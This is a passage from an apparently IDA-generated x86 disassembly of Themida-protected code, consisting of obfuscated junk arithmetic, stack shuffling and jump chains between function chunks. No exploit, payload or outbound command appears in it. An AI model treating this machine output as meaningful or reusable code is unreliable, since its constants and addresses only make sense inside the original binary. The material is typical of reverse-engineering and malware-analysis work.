		push	dx
		mov	dh, 65h
		sub	esp, 2
		jmp	loc_566739
; ---------------------------------------------------------------------------


loc_5704F4:				; CODE XREF: sub_55EDA7+8534j
		add	ebp, 4
		xchg	ebp, [esp-8+arg_4]
		pop	esp
		pop	[esp-0Ch+arg_8]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-10h+arg_C]
		pop	esp
		jmp	loc_5633EC
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_570517	proc near		; CODE XREF: sub_55EDA7+2DE9j
		push	ebx
		jmp	loc_56009B
sub_570517	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_57051D:				; CODE XREF: sub_55EDA7+37C8j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_570522:				; CODE XREF: sub_55EDA7+1CCCj
		add	ecx, 0AF330B2h
		mov	edi, [esp-14h+arg_10]
		add	esp, 4
		push	ebp
		mov	ebp, 394653A9h
		sub	eax, ebp
		pop	ebp
		sub	eax, 3A1C0D52h
		add	eax, ecx
		push	ebx
		mov	ebx, 347910F6h
		shr	ebx, 7
		dec	ebx
		sub	ebx, 0C64CE4CEh
		add	eax, ebx
		pop	ebx
		add	eax, 394653A9h
		mov	ecx, [esp-18h+arg_14]
		push	edx
		jmp	loc_56966E
; ---------------------------------------------------------------------------


loc_570562:				; CODE XREF: sub_55EDA7+3D94j
		mov	ecx, 43913CD5h
		add	ecx, 0BC6EC32Fh
		jmp	loc_572CF6
; ---------------------------------------------------------------------------


loc_570572:				; CODE XREF: sub_55EDA7+101D4j
		add	esi, 7303415h
		pop	ebp
		jmp	loc_56AA85
; ---------------------------------------------------------------------------


loc_57057E:				; CODE XREF: sub_55EDA7+4D26j
		pop	ebp
		jmp	loc_561880
; ---------------------------------------------------------------------------


loc_570584:				; CODE XREF: sub_55EDA7+378Fj
		push	1936h
		mov	[esp+26h+var_26], ebx
		sub	esp, 4
		mov	[esp+2Ah+var_2A], esp
		jmp	loc_5679B0
; ---------------------------------------------------------------------------


loc_570597:				; CODE XREF: sub_55EDA7+A01Ej
		pop	ebp
		xchg	edx, [esp+26h+var_26]
		pop	esp
		xchg	eax, ebx
		sub	esp, 4
		mov	[esp+26h+var_26], ecx
		push	esp
		push	[esp+2Ah+var_2A]
		jmp	loc_5620F3
; ---------------------------------------------------------------------------


loc_5705AC:				; CODE XREF: sub_55EDA7+32DAj
		mov	ebx, 4
		add	[esp+1Eh+var_1A], ebx
		pop	ebx
		jmp	loc_56B65C
; ---------------------------------------------------------------------------


loc_5705BB:				; CODE XREF: sub_55EDA7+CC61j
		push	edi
		mov	edi, 2B906938h
		jmp	loc_569632
; ---------------------------------------------------------------------------


loc_5705C6:				; CODE XREF: sub_55EDA7+95D1j
		pop	edx
		mov	edi, [esp-18h+arg_14]
		jmp	loc_5711F1
; ---------------------------------------------------------------------------


loc_5705CF:				; CODE XREF: sub_55EDA7+D0j
		mov	[esp+14h+var_16+2], esi
		mov	esi, 69AC0DC7h
		mov	ebp, 0E45E39D9h
		sub	ebp, esi
		jmp	loc_56E87C
; ---------------------------------------------------------------------------


loc_5705E3:				; CODE XREF: sub_55EDA7+2E64j
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		jmp	loc_56CC9C
; ---------------------------------------------------------------------------


loc_5705F2:				; CODE XREF: sub_55EDA7+21EBj
		push	esi
		mov	esi, 2
		sub	ecx, esi
		pop	esi
		xor	ecx, [esp-1Ch+arg_18]
		jmp	loc_564B78
; ---------------------------------------------------------------------------


loc_570603:				; CODE XREF: sub_55EDA7+D855j
		push	edx
		jmp	loc_561B83
; ---------------------------------------------------------------------------


loc_570609:				; CODE XREF: sub_55EDA7+F6ECj
		add	esp, 4
		jmp	loc_570844
; ---------------------------------------------------------------------------


loc_570611:				; CODE XREF: sub_55EDA7+7D2Fj
		xchg	esi, ecx
		dec	esi
		jmp	loc_56FA25
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_570619:				; CODE XREF: Themida_:0056FC28j
		pop	esi
		push	ecx
		mov	ecx, 345A6D5Ch
		push	ebp
		jmp	loc_563DFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570626:				; CODE XREF: sub_55EDA7+D8A9j
		sub	edi, 48B663A5h
		add	edi, 4661374Eh
		pop	ebx
		xor	edi, [esp-18h+arg_14]
		xor	[esp-18h+arg_14], edi
		jmp	loc_5710F8
; ---------------------------------------------------------------------------


loc_57063E:				; CODE XREF: sub_55EDA7+302j
		push	edx
		push	2CC3403h
		pop	edx
		add	edx, 50C969E5h
		shr	edx, 2
		add	edx, 76725128h
		jmp	loc_5696A5
; ---------------------------------------------------------------------------


loc_570659:				; CODE XREF: sub_55EDA7+636Aj
		xchg	ebx, [esp+28h+var_2A+2]
		jmp	loc_567347
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_570661	proc near		; CODE XREF: sub_55EDA7+BD37j
		push	ebp
		jmp	loc_5602DA
sub_570661	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570667:				; CODE XREF: sub_55EDA7+95BAj
		add	ebx, 4
		xchg	ebx, [esp+24h+var_26+2]
		pop	esp
		xor	eax, 17885556h
		and	eax, 284873F1h
		sub	eax, 44EC094Ch
		push	edi
		mov	edi, 0EADE276Eh
		xor	eax, edi
		pop	edi
		jmp	loc_57273A
; ---------------------------------------------------------------------------


loc_57068B:				; CODE XREF: sub_55EDA7+AFF6j
		pop	ebx
		push	18CAh
		mov	[esp-0Ch+arg_8], eax
		push	19294F7Ch
		jmp	loc_568CE3
; ---------------------------------------------------------------------------


loc_57069E:				; CODE XREF: sub_55EDA7+4B47j
		sub	ebp, 0BB07803Dh
		add	eax, ebp
		mov	ebp, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_564BB5
; ---------------------------------------------------------------------------


loc_5706B7:				; CODE XREF: sub_55EDA7+10327j
		add	[esp-24h+arg_24], eax
		pop	eax
		pop	eax
		push	3125h
		mov	[esp-28h+arg_24], esi
		push	eax
		mov	eax, 704234D6h
		jmp	loc_55EA7B
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_5706D0:				; DATA XREF: Themida_:0055E110o
		mov	ax, [esp]
		push	esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 9F470D0h
		push	ebp
		mov	ebp, 5F5B3C0Ch
		not	ebp
		push	esi
		jmp	loc_56C51F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5706EB:				; CODE XREF: sub_55EDA7+109C3j
		xor	eax, ecx
		push	4F83h
		mov	[esp+3Ch+var_3E+2], eax
		xor	[esp+3Ch+var_3E+2], ecx
		xor	ecx, [esp+3Ch+var_3E+2]
		xor	[esp+3Ch+var_3E+2], ecx
		xor	ecx, edi
		jmp	loc_571CB9
; ---------------------------------------------------------------------------


loc_570705:				; CODE XREF: sub_55EDA7+121D3j
		pop	ebx
		sub	ecx, 72DC1086h
		sub	ecx, ebp
		push	edx
		mov	edx, 7F2458C4h
		add	edx, 23991198h
		shl	edx, 1
		not	edx
		add	edx, 0B856E53Fh
		add	ecx, edx
		jmp	loc_566C2F
; ---------------------------------------------------------------------------


loc_57072B:				; CODE XREF: sub_55EDA7+C513j
		mov	ebp, [esp+32h+var_32]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56378E
; ---------------------------------------------------------------------------


loc_57073C:				; CODE XREF: sub_55EDA7+BEE3j
		xchg	eax, [esp+0]
		jmp	loc_571D1D
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57115D


loc_570744:				; CODE XREF: sub_57115D+16j
		push	edx
		mov	edx, 74502FCDh
		sub	edi, edx
		pop	edx
		add	edi, 1E669053h
		mov	ecx, edi
		pop	edi
		mov	eax, 16E80B6Eh
		add	eax, ecx
		pop	ecx
		mov	edx, 825BF55h
		sub	edx, 1CE645EBh
		add	edx, 72F840FFh
		jmp	loc_56A2E9
; END OF FUNCTION CHUNK	FOR sub_57115D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570774:				; CODE XREF: sub_55EDA7+1D00j
		xchg	eax, [esp-0Ch+arg_8]
		jmp	loc_56BEAB
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC71


loc_57077C:				; CODE XREF: sub_56CC71+11j
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		sub	ebx, edx
		jmp	loc_5633AD
; END OF FUNCTION CHUNK	FOR sub_56CC71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570797:				; CODE XREF: sub_55EDA7+C250j
		add	esp, 4
		jmp	loc_566921
; ---------------------------------------------------------------------------


loc_57079F:				; CODE XREF: sub_55EDA7+8228j
		push	[esp+10h+var_12+2]
		pop	eax
		add	esp, 4
		add	edx, 24875D58h
		add	edx, ecx
		push	eax
		mov	eax, 2B03905h
		jmp	loc_56E1C2
; ---------------------------------------------------------------------------


loc_5707BC:				; CODE XREF: sub_55EDA7+51A5j
		add	[esp+12h+var_12], 4
		pop	ecx
		jmp	loc_56A1FC
; ---------------------------------------------------------------------------


loc_5707C9:				; CODE XREF: sub_55EDA7+B4A4j
		push	eax
		mov	ah, 4Eh
		mov	dl, ah
		pop	eax
		mov	cl, dl
		pop	edx
		jmp	loc_569395
; ---------------------------------------------------------------------------


loc_5707D7:				; CODE XREF: sub_55EDA7+1386Fj
		and	ebx, 7B967878h
		not	ebx
		jmp	loc_56A096
; ---------------------------------------------------------------------------


loc_5707E4:				; CODE XREF: sub_55EDA7+7502j
		or	eax, esi
		mov	esi, [esp-0Ch+arg_8]
		add	esp, 4
		push	eax
		neg	[esp-0Ch+arg_8]
		pop	eax
		xor	eax, 8912C945h
		add	ebp, eax
		push	[esp-10h+arg_C]
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		add	esp, 4
		push	edx
		push	2
		pop	edx
		sub	ebp, 37DB704Fh
		add	ebp, 24CA1B2Dh
		jmp	loc_571322
; ---------------------------------------------------------------------------


loc_57081C:				; CODE XREF: sub_55EDA7+4734j
		and	eax, esi
		pop	esi
		shr	eax, 8
		jmp	loc_572420
; ---------------------------------------------------------------------------


loc_570827:				; CODE XREF: sub_55EDA7+13D30j
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		mov	[ecx], dl
		pop	ecx
		jmp	loc_5613A0
; ---------------------------------------------------------------------------


loc_570837:				; CODE XREF: sub_55EDA7+8C8Dj
		push	41D8h
		mov	[esp+0], eax
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_570844:				; CODE XREF: sub_55EDA7+11865j
		push	edx
		jmp	loc_560E5C
; ---------------------------------------------------------------------------


loc_57084A:				; CODE XREF: sub_55EDA7+110ABj
		pop	eax
		push	5662h
		jmp	loc_56C779
; ---------------------------------------------------------------------------


loc_570855:				; CODE XREF: sub_55EDA7+8B6Cj
		mov	al, 6Fh
		jmp	sub_56DB0B
; ---------------------------------------------------------------------------


loc_57085C:				; CODE XREF: sub_55EDA7+74A4j
		xor	esi, edi
		pop	edi
		add	edx, esi
		mov	esi, [esp-14h+arg_10]
		jmp	loc_56F4AE
; ---------------------------------------------------------------------------


loc_570869:				; CODE XREF: sub_55EDA7+11C7j
		push	edi
		mov	edi, 61B2438Dh
		inc	edi
		shl	edi, 1
		sub	edi, 0C3648718h
		add	eax, edi
		mov	edi, [esp-1Ah+arg_14+2]
		add	esp, 4
		push	eax
		push	[esp-1Ah+arg_18+2]
		pop	eax
		jmp	loc_5601EF
; ---------------------------------------------------------------------------


loc_57088B:				; CODE XREF: sub_55EDA7+CBA6j
		mov	bx, word ptr [esp+2Eh+var_2E]
		add	esp, 2
		sub	bh, 0FFh
		xor	bh, 0BBh
		sub	dh, bh
		pop	ebx
		sub	esp, 2
		mov	word ptr [esp+2Ah+var_2A], cx
		mov	ch, 0D7h
		sub	dh, ch
		pop	cx
		mov	bl, dh
		pop	edx
		xor	bl, 60h
		shl	bl, 3
		jmp	loc_560DD9
; ---------------------------------------------------------------------------


loc_5708B6:				; CODE XREF: sub_55EDA7+2FAAj
		push	eax
		mov	eax, 320F39E1h
		neg	eax
		or	eax, 3D092ABAh
		jmp	loc_566512
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_5708C8	proc near		; CODE XREF: sub_55EDA7+80E2j
		push	ebx
		push	ecx
		push	eax
		mov	eax, 50BE52E0h
		mov	ecx, eax
		pop	eax
		mov	ebx, ecx
		pop	ecx
		jmp	loc_561B14
sub_5708C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5708DB:				; CODE XREF: sub_55EDA7+8EB3j
		push	eax
		pop	dword ptr [ecx]
		push	[esp-30h+arg_2C]
		push	[esp-2Ch+arg_28]
		jmp	loc_5690D6
; ---------------------------------------------------------------------------


loc_5708E9:				; CODE XREF: sub_55EDA7+4C32j
		mov	ebx, ebp
		pop	ebp
		jmp	loc_56B815
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56D159
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570903:				; CODE XREF: sub_55EDA7+7679j
		xchg	eax, edx
		not	eax
		push	edx
		push	eax
		jmp	loc_565283
; ---------------------------------------------------------------------------


loc_57090D:				; CODE XREF: sub_55EDA7+6223j
		add	esp, 4
		jmp	loc_567C5F
; ---------------------------------------------------------------------------


loc_570915:				; CODE XREF: sub_55EDA7+69A5j
		mov	esi, 7E3F5A34h
		xor	esi, 68931380h
		jmp	loc_5710E7
; ---------------------------------------------------------------------------


loc_570925:				; CODE XREF: sub_55EDA7+9DE6j
		pop	ax
		and	bh, ch
		pop	ecx
		push	eax
		jmp	loc_56B61A
; ---------------------------------------------------------------------------


loc_570930:				; CODE XREF: sub_55EDA7+13D7Fj
		push	esp
		jmp	loc_5658EB
; ---------------------------------------------------------------------------


loc_570936:				; CODE XREF: sub_55EDA7+5AF4j
		mov	eax, 3ED078BDh
		neg	eax
		jmp	loc_55E6B2
; ---------------------------------------------------------------------------


loc_570942:				; CODE XREF: sub_55EDA7+121Dj
		mov	edi, 7A9C5AB6h
		jmp	loc_56C7DB
; ---------------------------------------------------------------------------


loc_57094C:				; CODE XREF: sub_55EDA7+80CCj
		or	ebp, 35AB32E4h
		not	ebp
		add	ebp, 34D21678h
		xor	ebp, 9BD21F92h
		mov	edi, ebp
		pop	ebp
		jmp	loc_56514E
; ---------------------------------------------------------------------------


loc_570968:				; CODE XREF: sub_55EDA7+BB2j
		xor	edx, [esp+40h+var_42+2]
		xor	[esp+40h+var_42+2], edx
		jmp	loc_564C49
; ---------------------------------------------------------------------------


loc_570973:				; CODE XREF: sub_55EDA7+5629j
		pop	esi
		jmp	loc_565778
; ---------------------------------------------------------------------------


loc_570979:				; CODE XREF: sub_55EDA7+D903j
		mov	[esp-8+arg_4], ebp
		mov	ebp, esi
		mov	[edi+20h], ebp
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		pop	esi
		push	5988h
		mov	[esp-0Ch+arg_8], eax
		push	0
		push	[esp-8+arg_4]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	esi
		push	eax
		push	edx
		jmp	loc_56742F
; ---------------------------------------------------------------------------


loc_5709A4:				; CODE XREF: sub_55EDA7+11530j
		sub	edx, 287A28F7h
		sub	edx, 366747EAh
		add	edx, ebp
		add	edx, 366747EAh
		jmp	loc_568DBF
; ---------------------------------------------------------------------------


loc_5709BD:				; CODE XREF: sub_55EDA7+2A33j
		pop	ax
		push	edx
		mov	dl, 24h
		add	bh, dl
		pop	edx
		sub	dl, bh
		jmp	loc_56DCCB
; ---------------------------------------------------------------------------


loc_5709CC:				; CODE XREF: sub_55EDA7+D088j
		sub	edi, 39EA60DCh
		add	eax, edi
		mov	edi, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_56D410
; ---------------------------------------------------------------------------


loc_5709DF:				; CODE XREF: sub_55EDA7+139C8j
		xor	ecx, 3CDF5711h
		mov	edi, ecx
		pop	ecx
		push	ebx
		mov	ebx, edi
		mov	eax, ebx
		pop	ebx
		pop	edi
		add	ebx, eax
		jmp	loc_562D33
; ---------------------------------------------------------------------------


loc_5709F6:				; CODE XREF: sub_55EDA7+7B0Ej
		mov	ecx, 166F6165h
		jmp	loc_56F558
; ---------------------------------------------------------------------------


loc_570A00:				; CODE XREF: sub_55EDA7+D531j
		pop	esi
		jmp	loc_565683
; ---------------------------------------------------------------------------


loc_570A06:				; CODE XREF: sub_55EDA7+5F52j
		pop	edi
		xchg	ebx, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		imul	cl
		movzx	cx, ah
		jmp	loc_569E4B
; ---------------------------------------------------------------------------


loc_570A18:				; CODE XREF: sub_55EDA7+6396j
		pop	ecx
		sub	edx, 0D8012207h
		or	esi, edx
		pop	edx
		push	ecx
		mov	ecx, 7A36DB2h
		add	ecx, 8964B444h
		sub	esi, 4935275Ch
		jmp	loc_56DC6D
; ---------------------------------------------------------------------------


loc_570A39:				; CODE XREF: sub_55EDA7+13149j
		inc	edi
		add	edi, 5F8A3224h
		jmp	loc_570DFA
; ---------------------------------------------------------------------------


loc_570A45:				; CODE XREF: sub_55EDA7+2D8Aj
		push	[esp+12h+var_12]
		pop	edx
		push	6E8Eh
		mov	[esp+16h+var_16], eax
		jmp	loc_56BA41
; ---------------------------------------------------------------------------


loc_570A56:				; CODE XREF: sub_55EDA7+A205j
		add	ebp, 4
		xchg	ebp, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		sub	esi, edx
		jmp	loc_56CA95
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_570A66	proc near		; CODE XREF: sub_570E94+19j

var_4		= word ptr -4

		sub	esp, 2
		mov	[esp+4+var_4], di
		jmp	loc_56252D
sub_570A66	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570A75:				; CODE XREF: sub_55EDA7+BDB6j
		pop	esp
		sub	eax, 2F067EA5h
		sub	eax, 1C1765D4h
		sub	eax, ebx
		add	eax, 1C1765D4h
		push	ebx
		mov	ebx, 4D2F55FDh
		jmp	loc_5680D4
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_570A92	proc near		; DATA XREF: Themida_:0055DF48o
		lodsd
		jmp	loc_562B79
sub_570A92	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570A98:				; CODE XREF: sub_55EDA7+E60Dj
		mov	ecx, 15680092h
		add	ecx, 220E0BDEh
		xor	ecx, 8CEFC456h
		xor	edx, ecx
		jmp	loc_570D46
; ---------------------------------------------------------------------------


loc_570AB0:				; CODE XREF: sub_55EDA7+711Fj
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp+14h+var_16+2], ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_56981D
; ---------------------------------------------------------------------------


loc_570ACA:				; CODE XREF: sub_55EDA7+2C56j
		add	esp, 4
		push	edx
		mov	edx, 4D976AAFh
		jmp	loc_570EE0
; ---------------------------------------------------------------------------


loc_570AD8:				; CODE XREF: sub_55EDA7+98E3j
		add	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp+6+var_8+2], edx
		mov	edx, 4
		sub	ebp, 31A40207h
		add	ebp, edx
		add	ebp, 31A40207h
		pop	edx
		xor	ebp, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], ebp
		xor	ebp, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		sub	edx, 5CE8408Bh
		sub	edx, 7C2F6D24h
		add	edx, eax
		push	231Bh
		mov	[esp+6+var_8+2], ecx
		push	ebp
		mov	ebp, 29CA319Bh
		push	edx
		mov	edx, ebp
		mov	ecx, edx
		jmp	loc_569D80
; ---------------------------------------------------------------------------


loc_570B2A:				; CODE XREF: sub_55EDA7+4BDBj
		push	12990B9Ch
		pop	ebx
		not	ebx
		shl	ebx, 6
		jmp	loc_567DD8
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FC78


loc_570B42:				; CODE XREF: sub_56FC78-7E5j
		add	ecx, ebp
		pop	ebp
		pop	ebp
		push	ecx
		mov	ecx, 53FE770Fh
		sub	esi, ecx
		pop	ecx
		add	esi, ecx
		jmp	loc_55F08A
; END OF FUNCTION CHUNK	FOR sub_56FC78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570B56:				; CODE XREF: sub_55EDA7+4C62j
		sub	eax, esi
		pop	esi
		mov	ecx, [esp+0Ch+var_E+2]
		push	ebx
		jmp	loc_56C0F1
; ---------------------------------------------------------------------------


loc_570B62:				; CODE XREF: sub_55EDA7+CA24j
		add	edi, ebp
		pop	ebp
		sub	edi, esi
		sub	edi, 6AAD66DAh
		mov	esi, [esp+44h+var_46+2]
		add	esp, 4
		std
		jmp	loc_56D0B0
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5723B5


loc_570B79:				; CODE XREF: sub_5723B5-448Bj
		push	ecx
		mov	ecx, 6F824A05h
		dec	ecx
		jmp	loc_562872
; END OF FUNCTION CHUNK	FOR sub_5723B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570B85:				; CODE XREF: sub_55EDA7+126E1j
		xor	[esp+40h+var_42+2], ebp
		xor	ebp, [esp+40h+var_42+2]
		jmp	loc_560EB5
; ---------------------------------------------------------------------------


loc_570B90:				; CODE XREF: sub_55EDA7+A3A9j
		mov	edi, 1B560FA0h
		push	ebx
		push	372E1909h
		pop	ebx
		jmp	loc_562D9F
; ---------------------------------------------------------------------------


loc_570BA1:				; CODE XREF: sub_55EDA7+29B8j
		pop	edi
		xchg	edx, [esp+40h+var_42+2]
		pop	esp
		xor	al, bh
		mov	ebx, [esp+3Ch+var_3E+2]
		add	esp, 4
		xor	bl, al
		jmp	loc_563E7C
; ---------------------------------------------------------------------------


loc_570BB8:				; CODE XREF: sub_55EDA7+E4B0j
		add	eax, edx
		add	eax, 1CF178C0h
		jmp	loc_562AB6
; ---------------------------------------------------------------------------


loc_570BC4:				; CODE XREF: sub_55EDA7+DDFAj
		add	al, dl
		pop	edx
		jmp	loc_560C5B
; ---------------------------------------------------------------------------


loc_570BCC:				; CODE XREF: sub_55EDA7+7734j
					; sub_55EDA7+D12Fj
		push	eax
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 52647F80h
		neg	ecx
		jmp	loc_56D4B9
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_570BDD:				; DATA XREF: Themida_:0055E050o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570BEC:				; CODE XREF: sub_55EDA7+A5E1j
		neg	edi
		push	edx
		jmp	loc_568A01
; ---------------------------------------------------------------------------


loc_570BF4:				; CODE XREF: sub_55EDA7-73Ej
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-2Ch+arg_28]
		jmp	loc_571F00
; ---------------------------------------------------------------------------


loc_570C0A:				; CODE XREF: sub_55EDA7+898j
		pop	ebp
		add	eax, esi
		pop	esi
		xchg	eax, [esp-12h+arg_C+2]
		pop	esp
		jmp	loc_56BC86
; ---------------------------------------------------------------------------


loc_570C17:				; CODE XREF: sub_55EDA7+A9E2j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-1Eh+arg_18+2]
		pop	esp
		xor	bh, 6Fh
		push	cx
		mov	cl, 0A5h
		add	al, cl
		pop	cx
		sub	al, 6Eh
		sub	al, bh
		add	al, 6Eh
		sub	al, 0A5h
		pop	ebx
		sub	esp, 2
		jmp	loc_561826
; ---------------------------------------------------------------------------


loc_570C43:				; CODE XREF: sub_55EDA7+3C25j
		pop	eax
		jmp	loc_568D09
; ---------------------------------------------------------------------------


loc_570C49:				; CODE XREF: sub_55EDA7+7A30j
		or	eax, 0A4C3469h
		add	eax, 50D45E95h
		jmp	loc_55F95E
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_570C58	proc near		; CODE XREF: sub_55EDA7+6DCDj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056EF2A SIZE 0000000C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_56EF2A
sub_570C58	endp

; ---------------------------------------------------------------------------


loc_570C63:				; CODE XREF: Themida_:0056C52Aj
		shl	esi, 8
		shr	esi, 8
		shr	esi, 7
		inc	esi
		sub	esi, 96B05D30h
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edi, ebp
		pop	ebp
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_56B42A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570C8B:				; CODE XREF: sub_55EDA7-80Aj
		push	esp
		pop	eax
		jmp	loc_5698CA
; ---------------------------------------------------------------------------


loc_570C92:				; CODE XREF: sub_55EDA7+9696j
		pop	esp
		push	esi
		push	5FDh
		jmp	loc_560C73
; ---------------------------------------------------------------------------


loc_570C9E:				; CODE XREF: sub_55EDA7+91A2j
		mov	esp, [esp+1Ch+var_1E+2]
		push	bx
		push	1759h
		jmp	loc_56B0AB
; ---------------------------------------------------------------------------


loc_570CAD:				; CODE XREF: sub_55EDA7+9333j
		not	ebx
		or	ebx, 15431F39h
		not	ebx
		sub	ebx, 1BA20221h
		jmp	loc_56D108
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55EAB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EB11


loc_570CCB:				; CODE XREF: sub_56EB11+1Bj
		pop	esi
		pop	eax
		push	eax
		jmp	loc_563D03
; END OF FUNCTION CHUNK	FOR sub_56EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570CD3:				; CODE XREF: sub_55EDA7+AB89j
		add	esi, 0DB40D4ACh
		add	edx, esi
		mov	esi, [esp-14h+arg_10]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5675AE
; ---------------------------------------------------------------------------


loc_570CEC:				; CODE XREF: sub_55EDA7+5B5j
		push	12BDh
		mov	[esp-4+arg_0], eax
		jmp	loc_56F540
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_570CF9	proc near		; CODE XREF: sub_55EDA7+2153j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, 153D3751h
		sub	esi, ebx
		pop	ebx
		pop	ecx
		xchg	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		movzx	ecx, al
		push	6EA2h
		mov	[esp-8+arg_4], eax
		push	edx
		mov	edx, esp
		push	8DEh
		mov	[esp+0], eax
		jmp	loc_567878
sub_570CF9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570D24:				; CODE XREF: sub_55EDA7+F3E6j
		push	eax
		jmp	loc_56EDEA
; ---------------------------------------------------------------------------


loc_570D2A:				; CODE XREF: sub_55EDA7+E1D3j
		sub	esi, 0A7E0FEDh
		jmp	loc_55F01B
; ---------------------------------------------------------------------------


loc_570D35:				; CODE XREF: sub_55EDA7+D9DFj
		mov	[esp-14h+arg_10], esi
		jmp	loc_56EC56
; ---------------------------------------------------------------------------


loc_570D3D:				; CODE XREF: sub_55EDA7+7079j
		pop	eax
		or	ecx, ebp
		pop	ebp
		jmp	loc_5721E9
; ---------------------------------------------------------------------------


loc_570D46:				; CODE XREF: sub_55EDA7+11D04j
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		mov	esi, edx
		jmp	loc_55F480
; ---------------------------------------------------------------------------


loc_570D56:				; CODE XREF: sub_55EDA7+13840j
		pop	edi
		push	esi
		push	[esp-10h+arg_10]
		jmp	loc_56F5B1
; ---------------------------------------------------------------------------


loc_570D61:				; CODE XREF: sub_55EDA7+512Ej
		pop	edi
		push	ecx
		mov	ecx, 4
		jmp	loc_56B79A
; ---------------------------------------------------------------------------


loc_570D6D:				; CODE XREF: sub_55EDA7+12FCCj
		dec	ebp
		shl	ebp, 6
		push	eax
		jmp	loc_569372
; ---------------------------------------------------------------------------


loc_570D77:				; CODE XREF: sub_55EDA7+E902j
